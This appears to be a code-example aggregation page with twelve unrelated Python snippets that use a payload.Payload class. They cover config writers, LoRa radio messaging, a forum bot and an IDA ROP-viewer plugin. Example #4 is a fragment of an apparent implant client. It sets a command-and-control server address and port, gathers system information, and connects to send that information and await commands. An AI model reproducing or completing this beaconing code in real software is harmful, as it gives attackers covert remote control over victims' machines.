Пример #1
0
    def __init__(self,
                 config_folder="config",
                 settings=configuration.Config(),
                 payload=payload.Payload()):

        super(WeightsWriter, self).__init__("weights", config_folder, settings,
                                            payload)
Пример #2
0
    def __init__(self,
                 config_folder="config",
                 settings=configuration.Config(),
                 payload=payload.Payload()):

        super(ParametersWriter, self).__init__("parameters", config_folder,
                                               settings, payload)
Пример #3
0
    def __init__(self,
                 config_folder="config",
                 settings=configuration.Config(),
                 payload=payload.Payload()):

        super(TopologyWriter, self).__init__("topology", config_folder,
                                             settings, payload)
Пример #4
0
 def __init__(self):
     self.c2_server = '192.168.1.14'
     self.c2_port = 9999
     self.c2 = None
     try:
         self.sysinfo = ' '.join(os.uname())
     except:
         self.sysinfo = os.name
     self.payloads = payload.Payload()
     self._connect_to_c2()
     self._send_init_info()
     self._listen()
Пример #5
0
    def __init__(self,
                 config=configuration.Config(),
                 serializer=serialization.Serializer(),
                 payload=payload.Payload()):

        self.context = zmq.Context()
        self.settings = config
        self.serializer = serializer
        self.payload = payload

        self.controller = communication.connect_socket(
            self.context,
            socket_type=zmq.REQ,
            connection=self.settings.connections["commander"])

        self.logger = logging.getLogger("commander")
Пример #6
0
    def run(self, arg):
        global pl
        global rv

        if not pl:
            pl = payload.Payload()
            if pl.load_from_idb():
                print "%s: loaded data from IDB." % pluginname
        if not rv:
            rv = ropviewer.ropviewer_t(pl)
            if not rv.Create ():
                print "could not create window."
                return

        rv.Show()
        rv.show_content_viewers()
Пример #7
0
    def __init__(self,
                 topic,
                 config_folder="config",
                 settings=configuration.Config(),
                 payload=payload.Payload()):

        self.settings = settings
        self.payload = payload
        self.topic = topic
        self.config_folder = config_folder
        self.path = os.path.join(self.config_folder, self.topic)

        self.write_topics = ["weights", "parameters", "topology"]

        # here you put constants and variables that all the parameter writes need

        if not topic in self.write_topics:
            print "Selected topic not implemented for writing. Aborting."
            sys.exit()
Пример #8
0
def do_loop(lora):
    global msgCount

    lastSendTime = 0
    interval = 0

    while True:
        now = config_lora.millisecond()
        if now < lastSendTime: lastSendTime = now

        if (now - lastSendTime > interval):
            lastSendTime = now  # timestamp the message
            interval = (lastSendTime % INTERVAL) + INTERVAL_BASE  # 2-3 seconds

            message = "{} {}".format(config_lora.NODE_NAME, msgCount)
            pl = payload.Payload(frm=config_lora.NODE_EUI,
                                 to=None,
                                 message=message)
            sendMessage(lora, pl.dumps())  # send message
            msgCount += 1

            lora.receive()  # go into receive mode
Пример #9
0
 try:
     api = api_abstraction.ApiConnection(api_profile, site)
 except Exception as e:
     logger.debug(
         "---API CONNECTION FAIL!!  %s API Profile for %s site---" %
         (api_profile, site))
     import traceback, os.path
     top = traceback.extract_stack()[-1]
     print ', '.join(
         [type(e).__name__,
          os.path.basename(top[0]),
          str(top[1])])
     print e
     fail = True
 # Build payload from an API source
 forumPayload = payload.Payload(api_profile, site, api, db)
 try:
     pass
     # Process the payload into command calls and return messages to users
     forumProcessList = payloadProcessor.PayloadProcessor(
         forumPayload.payload, api, db, rpc, exchange)
 except Exception as e:
     logger.debug(
         "---PAYLOAD PROCESSING FAILED!!  %s API Profile for %s site---"
         % (api_profile, site))
     print e
     fail = True
 try:
     pass
     # Process messages into forum posts and emails
     forumMessenger = messenger.Messenger(db, bbmech, forumProcessList,
Пример #10
0
 def dispatch_payload_json(self, pay_load_json, broadcast = False):
     pl = payload.Payload().loads(pay_load_json)
     self.dispatch_payload(pl, broadcast)
Пример #11
0
 def transmit_payload(self, payload_string, return_to_rx_mode = True):
     pay_load = payload.Payload().loads(payload_string)
     pay_load.via = self.eui
     transceiver = self._get_transceiver()
     transceiver.println(pay_load.dumps())
     if return_to_rx_mode: transceiver.receive()
Пример #12
0
 def received_packet(self, payload_string, rssi = None):
     pay_load = payload.Payload().loads(payload_string)
     pkt = packet.Packet(self.eui, rssi, pay_load, pay_load.time)
     return pkt